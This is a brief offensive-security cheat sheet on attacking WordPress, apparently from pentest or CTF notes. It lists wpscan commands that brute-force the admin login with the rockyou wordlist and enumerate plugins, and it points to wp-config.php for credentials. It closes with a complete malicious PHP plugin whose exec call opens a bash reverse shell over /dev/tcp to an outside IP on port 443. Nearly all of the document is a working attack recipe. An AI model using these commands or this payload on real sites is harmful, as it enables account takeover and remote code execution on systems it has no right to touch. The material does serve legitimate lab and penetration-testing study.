📝 WordPress

wpscan --url http://10.10.198.74/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt
wpscan --url http://192.168.50.244 --enumerate p --plugins-detection aggressive -o websrv1/wpscan
wpscan --url http://site --api-token <TOKEN>     # detailed vuln data

• Login page: wp-login.php · Credentials file: wp-config.php
• Uploads: http://LINK/wp-content/uploads/banner/filename
• Flags: -t 40 threads · --force ignore checks
• Inspect plugins carefully — often a file uploader (file-upload).

Admin → reverse shell via malicious plugin

ZIP and upload; the header comments matter:

<?php
/**
* Plugin Name: Reverse Shell Plugin
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: x
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>

Reference: HackTricks WordPress. Catch it with Shell-stabilization.